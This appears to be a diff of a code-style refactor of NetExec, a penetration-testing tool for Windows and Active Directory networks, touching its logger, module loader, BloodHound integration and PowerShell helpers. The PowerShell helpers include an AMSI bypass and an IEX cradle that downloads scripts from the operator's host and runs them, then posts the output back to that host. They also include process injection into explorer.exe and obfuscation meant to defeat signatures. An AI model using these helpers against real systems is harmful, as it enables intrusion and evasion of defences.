from neo4j import GraphDatabase
# we do a conditional import here to avoid loading these if BH isn't enabled
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
uri = f"bolt://{config.get('BloodHound', 'bh_uri')}:{config.get('BloodHound', 'bh_port')}"
@ -26,30 +41,29 @@ def add_user_bh(user, domain, logger, config):
encrypted=False,
)
try:
with driver.session() as session:
with session.begin_transaction() as tx:
for info in users_owned:
if info["username"][-1] == "$":
user_owned = info["username"][:-1] + "." + info["domain"]
account_type = "Computer"
else:
user_owned = info["username"] + "@" + info["domain"]
account_type = "User"
with driver.session() as session, session.begin_transaction() as tx:
for info in users_owned:
if info["username"][-1] == "$":
user_owned = info["username"][:-1] + "." + info["domain"]
account_type = "Computer"
else:
user_owned = info["username"] + "@" + info["domain"]
account_type = "User"
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c')
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c')
if result.data()[0]["c"].get("owned") in (False, None):
logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
except AuthError as e:
if result.data()[0]["c"].get("owned") in (False, None):
logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
except AuthError:
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
return
except ServiceUnavailable as e:
except ServiceUnavailable:
logger.fail(f"Neo4J does not seem to be available on {uri}.")
return
except Exception as e:
logger.fail("Unexpected error with Neo4J")
logger.fail(f"Unexpected error with Neo4J: {e}")
logger.fail("Account not found on the domain")
return
driver.close()

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import random

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from termcolor import colored

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import random
import string
import re
@ -9,7 +6,7 @@ import os
def identify_target_file(target_file):
with open(target_file, "r") as target_file_handle:
with open(target_file) as target_file_handle:
for i, line in enumerate(target_file_handle):
if i == 1:
if line.startswith("<NessusClientData"):
@ -26,10 +23,7 @@ def gen_random_string(length=10):
def validate_ntlm(data):
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
if allowed.match(data):
return True
else:
return False
return bool(allowed.match(data))
def called_from_cmd_args():
@ -45,12 +39,10 @@ def called_from_cmd_args():
# Stolen from https://github.com/pydanny/whichcraft/
def which(cmd, mode=os.F_OK | os.X_OK, path=None):
"""Given a command, mode, and a PATH string, return the path which
conforms to the given mode on the PATH, or None if there is no such
file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
of os.environ.get("PATH"), or can be overridden with a custom search
path.
"""Find the path which conforms to the given mode on the PATH for a command.
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
Note: This function was backported from the Python 3 source code.
"""
@ -77,12 +69,11 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
files = [cmd]
seen = set()
for dir in path:
normdir = os.path.normcase(dir)
for p in path:
normdir = os.path.normcase(p)
if normdir not in seen:
seen.add(normdir)
for thefile in files:
name = os.path.join(dir, thefile)
name = os.path.join(p, thefile)
if _access_check(name, mode):
return name
return None

View File

@ -12,7 +12,8 @@ Authors:
Guillaume DAUMAS (@BlWasp_)
Lucien DOUSTALY (@Wlayzz)
References:
References
----------
MS-ADA1, MS-ADA2, MS-ADA3 Active Directory Schema Attributes and their GUID:
- [MS-ADA1] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada1/19528560-f41e-4623-a406-dabcfff0660f
- [MS-ADA2] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/e20ebc4e-5285-40ba-b3bd-ffcb81c2783e
@ -22,6 +23,7 @@ References:
This library is, for the moment, not present in the Impacket version used by NetExec, so I add it manually in helpers.
"""
SCHEMA_OBJECTS = {

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import re
from sys import exit
@ -8,35 +6,80 @@ from random import choice, sample
from subprocess import call
from nxc.helpers.misc import which
from nxc.logger import nxc_logger
from nxc.paths import nxc_PATH, DATA_PATH
from nxc.paths import NXC_PATH, DATA_PATH
from base64 import b64encode
import random
obfuscate_ps_scripts = False
def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
Parameters
----------
path (str): The relative path to the PowerShell script.
Returns
-------
str: The full path to the PowerShell script.
"""
return os.path.join(DATA_PATH, path)
def encode_ps_command(command):
"""
Encodes a PowerShell command into a base64-encoded string.
Args:
----
command (str): The PowerShell command to encode.
Returns:
-------
str: The base64-encoded string representation of the encoded command.
"""
return b64encode(command.encode("UTF-16LE")).decode()
def is_powershell_installed():
"""
Check if PowerShell is installed.
Returns
-------
bool: True if PowerShell is installed, False otherwise.
"""
if which("powershell"):
return True
return False
def obfs_ps_script(path_to_script):
"""
Obfuscates a PowerShell script.
Args:
----
path_to_script (str): The path to the PowerShell script.
Returns:
-------
str: The obfuscated PowerShell script.
Raises:
------
FileNotFoundError: If the script file does not exist.
OSError: If there is an error during obfuscation.
"""
ps_script = path_to_script.split("/")[-1]
obfs_script_dir = os.path.join(nxc_PATH, "obfuscated_scripts")
obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
if is_powershell_installed() and obfuscate_ps_scripts:
if os.path.exists(obfs_ps_script):
nxc_logger.display("Using cached obfuscated Powershell script")
with open(obfs_ps_script, "r") as script:
with open(obfs_ps_script) as script:
return script.read()
nxc_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...")
@ -45,15 +88,15 @@ def obfs_ps_script(path_to_script):
nxc_logger.debug(invoke_obfs_command)
with open(os.devnull, "w") as devnull:
return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
nxc_logger.success("Script obfuscated successfully")
with open(obfs_ps_script, "r") as script:
with open(obfs_ps_script) as script:
return script.read()
else:
with open(get_ps_script(path_to_script), "r") as script:
with open(get_ps_script(path_to_script)) as script:
"""
Strip block comments, line comments, empty lines, verbose statements,
and debug statements from a PowerShell source file.
@ -61,17 +104,31 @@ def obfs_ps_script(path_to_script):
# strip block comments
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
# strip blank lines, lines starting with #, and verbose/debug statements
stripped_code = "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
return stripped_code
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
Args:
----
ps_command (str): The PowerShell command to be executed.
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
Returns:
-------
str: The generated PowerShell command.
"""
if custom_amsi:
with open(custom_amsi) as file_in:
lines = []
for line in file_in:
lines.append(line)
lines = list(file_in)
amsi_bypass = "".join(lines)
else:
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
@ -80,35 +137,9 @@ try{
}catch{}
"""
if force_ps32:
command = (
amsi_bypass
+ """
$functions = {{
function Command-ToExecute
{{
{command}
}}
}}
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
{{
$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32
$job | Wait-Job
}}
else
{{
IEX "$functions"
Command-ToExecute
}}
""".format(
command=amsi_bypass + ps_command
)
)
command = amsi_bypass + f"\n$functions = {{\n function Command-ToExecute\n {{\n{amsi_bypass + ps_command}\n }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n $job | Wait-Job\n}}\nelse\n{{\n IEX \"$functions\"\n Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
else:
command = amsi_bypass + ps_command
nxc_logger.debug("Generated PS command:\n {}\n".format(command))
nxc_logger.debug(f"Generated PS command:\n {command}\n")
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
@ -166,6 +197,20 @@ else
def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False):
"""
Generates a PowerShell code block for injecting a command into a specified process.
Args:
----
command (str): The command to be injected.
context (str, optional): The context in which the code block will be injected. Defaults to None.
procname (str, optional): The name of the process into which the command will be injected. Defaults to "explorer.exe".
inject_once (bool, optional): Specifies whether the command should be injected only once. Defaults to False.
Returns:
-------
str: The generated PowerShell code block.
"""
# The following code gives us some control over where and how Invoke-PSInject does its thang
# It prioritizes injecting into a process of the active console session
ps_code = """
@ -207,8 +252,22 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{
return ps_code
def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):
if type(scripts) is str:
def gen_ps_iex_cradle(context, scripts, command="", post_back=True):
"""
Generates a PowerShell IEX cradle script for executing one or more scripts.
Args:
----
context (Context): The context object containing server and port information.
scripts (str or list): The script(s) to be executed.
command (str, optional): A command to be executed after the scripts are executed. Defaults to an empty string.
post_back (bool, optional): Whether to send a POST request with the command. Defaults to True.
Returns:
-------
str: The generated PowerShell IEX cradle script.
"""
if isinstance(scripts, str):
launcher = """
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
@ -222,23 +281,18 @@ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_scri
command=command if post_back is False else "",
).strip()
elif type(scripts) is list:
elif isinstance(scripts, list):
launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n"
launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
for script in scripts:
launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(
server=context.server,
port=context.server_port,
addr=context.localip,
script=script,
)
launcher += f"IEX (New-Object Net.WebClient).DownloadString('{context.server}://{context.localip}:{context.server_port}/{script}')\n"
launcher.strip()
launcher += command if post_back is False else ""
if post_back is True:
launcher += """
launcher += f"""
$cmd = {command}
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/')
$request = [System.Net.WebRequest]::Create('{context.server}://{context.localip}:{context.server_port}/')
$request.Method = 'POST'
$request.ContentType = 'application/x-www-form-urlencoded'
$bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd)
@ -246,12 +300,7 @@ $request.ContentLength = $bytes.Length
$requestStream = $request.GetRequestStream()
$requestStream.Write($bytes, 0, $bytes.Length)
$requestStream.Close()
$request.GetResponse()""".format(
server=context.server,
port=context.server_port,
addr=context.localip,
command=command,
)
$request.GetResponse()"""
nxc_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n")
@ -260,30 +309,19 @@ $request.GetResponse()""".format(
# Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py
def invoke_obfuscation(script_string):
# Add letters a-z with random case to $RandomDelimiters.
alphabet = "".join(choice([i.upper(), i]) for i in ascii_lowercase)
"""
Obfuscates a script string and generates an obfuscated payload for execution.
# Create list of random delimiters called random_delimiters.
# Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax.
random_delimiters = [
"_",
"-",
",",
"{",
"}",
"~",
"!",
"@",
"%",
"&",
"<",
">",
";",
":",
]
Args:
----
script_string (str): The script string to obfuscate.
for i in alphabet:
random_delimiters.append(i)
Returns:
-------
str: The obfuscated payload for execution.
"""
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
# Only use a subset of current delimiters to randomize what you see in every iteration of this script's output.
random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))]
@ -356,7 +394,7 @@ def invoke_obfuscation(script_string):
set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back)
# Generate the code that will decrypt and execute the payload and randomly select one.
baseScriptArray = [
base_script_array = [
"[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array,
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
@ -364,14 +402,14 @@ def invoke_obfuscation(script_string):
]
# Generate random JOIN syntax for all above options
new_script_array = [
choice(baseScriptArray) + choice(["", " "]) + join + choice(["", " "]) + "''",
join + choice(["", " "]) + choice(baseScriptArray),
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(baseScriptArray) + choice(["", " "]) + ")",
'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(baseScriptArray) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
choice(base_script_array) + choice(["", " "]) + join + choice(["", " "]) + "''",
join + choice(["", " "]) + choice(base_script_array),
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(base_script_array) + choice(["", " "]) + ")",
'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(base_script_array) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
]
# Randomly select one of the above commands.
newScript = choice(new_script_array)
new_script = choice(new_script_array)
# Generate random invoke operation syntax
# Below code block is a copy from Out-ObfuscatedStringCommand.ps1
@ -383,54 +421,20 @@ def invoke_obfuscation(script_string):
# but not a silver bullet
# These methods draw on common environment variable values and PowerShell Automatic Variable
# values/methods/members/properties/etc.
invocationOperator = choice([".", "&"]) + choice(["", " "])
invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')")
invoke_expression_syntax.append(invocationOperator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')")
invoke_expression_syntax.append(invocationOperator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')")
invocation_operator = choice([".", "&"]) + choice(["", " "])
invoke_expression_syntax.extend((invocation_operator + "( $ShellId[1]+$ShellId[13]+'x')", invocation_operator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')", invocation_operator + "( $env:Public[13]+$env:Public[5]+'x')", invocation_operator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')", invocation_operator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')", invocation_operator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')"))
# Randomly choose from above invoke operation syntaxes.
invokeExpression = choice(invoke_expression_syntax)
invoke_expression = choice(invoke_expression_syntax)
# Randomize the case of selected invoke operation.
invokeExpression = "".join(choice([i.upper(), i.lower()]) for i in invokeExpression)
invoke_expression = "".join(choice([i.upper(), i.lower()]) for i in invoke_expression)
# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
invokeOptions = [
choice(["", " "]) + invokeExpression + choice(["", " "]) + "(" + choice(["", " "]) + newScript + choice(["", " "]) + ")" + choice(["", " "]),
choice(["", " "]) + newScript + choice(["", " "]) + "|" + choice(["", " "]) + invokeExpression,
invoke_options = [
choice(["", " "]) + invoke_expression + choice(["", " "]) + "(" + choice(["", " "]) + new_script + choice(["", " "]) + ")" + choice(["", " "]),
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
]
obfuscated_payload = choice(invokeOptions)
return choice(invoke_options)
"""
# Array to store all selected PowerShell execution flags.
powerShellFlags = []
noProfile = '-nop'
nonInteractive = '-noni'
windowStyle = '-w'
# Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
# This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
commandlineOptions = []
commandlineOptions.append(noProfile[0:randrange(4, len(noProfile) + 1, 1)])
commandlineOptions.append(nonInteractive[0:randrange(5, len(nonInteractive) + 1, 1)])
# Randomly decide to write WindowStyle value with flag substring or integer value.
commandlineOptions.append(''.join(windowStyle[0:randrange(2, len(windowStyle) + 1, 1)] + choice([' '*1, ' '*2, ' '*3]) + choice(['1','h','hi','hid','hidd','hidde'])))
# Randomize the case of all command-line arguments.
for count, option in enumerate(commandlineOptions):
commandlineOptions[count] = ''.join(choice([i.upper(), i.lower()]) for i in option)
for count, option in enumerate(commandlineOptions):
commandlineOptions[count] = ''.join(option)
commandlineOptions = sample(commandlineOptions, len(commandlineOptions))
commandlineOptions = ''.join(i + choice([' '*1, ' '*2, ' '*3]) for i in commandlineOptions)
obfuscatedPayload = 'powershell.exe ' + commandlineOptions + newScript
"""
return obfuscated_payload

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import nxc
import importlib
import traceback
@ -12,7 +9,7 @@ from os.path import join as path_join
from nxc.context import Context
from nxc.logger import NXCAdapter
from nxc.paths import nxc_PATH
from nxc.paths import NXC_PATH
class ModuleLoader:
@ -22,9 +19,7 @@ class ModuleLoader:
self.logger = logger
def module_is_sane(self, module, module_path):
"""
Check if a module has the proper attributes
"""
"""Check if a module has the proper attributes"""
module_error = False
if not hasattr(module, "name"):
self.logger.fail(f"{module_path} missing the name variable")
@ -47,18 +42,13 @@ class ModuleLoader:
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
# elif not hasattr(module, 'chain_support'):
# self.logger.fail('{} missing the chain_support variable'.format(module_path))
# module_error = True
if module_error:
return False
return True
def load_module(self, module_path):
"""
Load a module, initializing it and checking that it has the proper attributes
"""
"""Load a module, initializing it and checking that it has the proper attributes"""
try:
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module = spec.loader.load_module().NXCModule()
@ -68,12 +58,9 @@ class ModuleLoader:
except Exception as e:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
return None
def init_module(self, module_path):
"""
Initialize a module for execution
"""
"""Initialize a module for execution"""
module = None
module = self.load_module(module_path)
@ -99,9 +86,7 @@ class ModuleLoader:
sys.exit(1)
def get_module_info(self, module_path):
"""
Get the path, description, and options from a module
"""
"""Get the path, description, and options from a module"""
try:
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module_spec = spec.loader.load_module().NXCModule
@ -114,6 +99,7 @@ class ModuleLoader:
"supported_protocols": module_spec.supported_protocols,
"opsec_safe": module_spec.opsec_safe,
"multiple_hosts": module_spec.multiple_hosts,
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
}
}
if self.module_is_sane(module_spec, module_path):
@ -121,16 +107,13 @@ class ModuleLoader:
except Exception as e:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
return None
def list_modules(self):
"""
List modules without initializing them
"""
"""List modules without initializing them"""
modules = {}
modules_paths = [
path_join(dirname(nxc.__file__), "modules"),
path_join(nxc_PATH, "modules"),
path_join(NXC_PATH, "modules"),
]
for path in modules_paths:
@ -140,6 +123,6 @@ class ModuleLoader:
module_path = path_join(path, module)
module_data = self.get_module_info(module_path)
modules.update(module_data)
except:
pass
except Exception as e:
self.logger.debug(f"Error loading module {module}: {e}")
return modules

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from types import ModuleType
from importlib.machinery import SourceFileLoader
from os import listdir

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import logging
from logging import LogRecord
from logging.handlers import RotatingFileHandler
@ -34,39 +32,34 @@ class NXCAdapter(logging.LoggerAdapter):
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
#logging.getLogger("impacket").disabled = True
def format(self, msg, *args, **kwargs):
"""
Format msg for output if needed
def format(self, msg, *args, **kwargs): # noqa: A003
"""Format msg for output
This is used instead of process() since process() applies to _all_ messages, including debug calls
"""
if self.extra is None:
return f"{msg}", kwargs
if "module_name" in self.extra.keys():
if len(self.extra["module_name"]) > 8:
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
# If the logger is being called when hooking the 'options' module function
if len(self.extra) == 1 and ("module_name" in self.extra.keys()):
if len(self.extra) == 1 and ("module_name" in self.extra):
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
kwargs,
)
# If the logger is being called from nxcServer
if len(self.extra) == 2 and ("module_name" in self.extra.keys()) and ("host" in self.extra.keys()):
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
kwargs,
)
# If the logger is being called from a protocol
if "module_name" in self.extra.keys():
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"])
else:
module_name = colored(self.extra["protocol"], "blue", attrs=["bold"])
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
return (
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
@ -74,11 +67,9 @@ class NXCAdapter(logging.LoggerAdapter):
)
def display(self, msg, *args, **kwargs):
"""
Display text to console, formatted for nxc
"""
"""Display text to console, formatted for nxc"""
try:
if "protocol" in self.extra.keys() and not called_from_cmd_args():
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
@ -88,12 +79,10 @@ class NXCAdapter(logging.LoggerAdapter):
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
def success(self, msg, color='green', *args, **kwargs):
"""
Print some sort of success to the user
"""
def success(self, msg, color="green", *args, **kwargs):
"""Print some sort of success to the user"""
try:
if "protocol" in self.extra.keys() and not called_from_cmd_args():
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
@ -104,11 +93,9 @@ class NXCAdapter(logging.LoggerAdapter):
self.log_console_to_file(text, *args, **kwargs)
def highlight(self, msg, *args, **kwargs):
"""
Prints a completely yellow highlighted message to the user
"""
"""Prints a completely yellow highlighted message to the user"""
try:
if "protocol" in self.extra.keys() and not called_from_cmd_args():
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
@ -118,12 +105,10 @@ class NXCAdapter(logging.LoggerAdapter):
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
def fail(self, msg, color='red', *args, **kwargs):
"""
Prints a failure (may or may not be an error) - e.g. login creds didn't work
"""
def fail(self, msg, color="red", *args, **kwargs):
"""Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
try:
if "protocol" in self.extra.keys() and not called_from_cmd_args():
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
@ -133,9 +118,10 @@ class NXCAdapter(logging.LoggerAdapter):
self.log_console_to_file(text, *args, **kwargs)
def log_console_to_file(self, text, *args, **kwargs):
"""
"""Log the console output to a file
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
"""
if self.logger.getEffectiveLevel() >= logging.INFO:
# will be 0 if it's just the console output, so only do this if we actually have file loggers
@ -164,16 +150,16 @@ class NXCAdapter(logging.LoggerAdapter):
file_creation = False
if not os.path.isfile(output_file):
open(output_file, "x")
open(output_file, "x") # noqa: SIM115
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
with file_handler._open() as f:
if file_creation:
f.write("[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)))
f.write(f"[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
else:
f.write("\n[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)))
f.write(f"\n[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
file_handler.setFormatter(file_formatter)
self.logger.addHandler(file_handler)
@ -181,16 +167,15 @@ class NXCAdapter(logging.LoggerAdapter):
@staticmethod
def init_log_file():
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime('%Y-%m-%d')
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
if not os.path.exists(newpath):
os.makedirs(newpath)
log_filename = os.path.join(
return os.path.join(
os.path.expanduser("~/.nxc"),
"logs",
datetime.now().strftime('%Y-%m-%d'),
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
return log_filename
class TermEscapeCodeFormatter(logging.Formatter):
@ -199,7 +184,7 @@ class TermEscapeCodeFormatter(logging.Formatter):
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
super().__init__(fmt, datefmt, style, validate)
def format(self, record):
def format(self, record): # noqa: A003
escape_re = re.compile(r"\x1b\[[0-9;]*m")
record.msg = re.sub(escape_re, "", str(record.msg))
return super().format(record)

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
# Airbus CERT
# module by @mpgn_x64
@ -36,7 +33,6 @@ class NXCModule:
context.log.debug("[*] Retrieving network interface of " + connection.host)
# NetworkAddr = bindings[0]['aNetworkAddr']
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class NXCModule:
"""

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
from impacket.ldap import ldap, ldapasn1
from impacket.ldap.ldap import LDAPSearchError
@ -40,23 +38,21 @@ class NXCModule:
self.base_dn = module_options["BASE_DN"]
def on_login(self, context, connection):
"""
On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.
"""
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
if self.server is None:
search_filter = "(objectClass=pKIEnrollmentService)"
else:
search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,"
self.context.log.highlight("Using PKI CN: {}".format(self.server))
self.context.log.highlight(f"Using PKI CN: {self.server}")
context.log.display("Starting LDAP search with search filter '{}'".format(search_filter))
context.log.display(f"Starting LDAP search with search filter '{search_filter}'")
try:
sc = ldap.SimplePagedResultsControl()
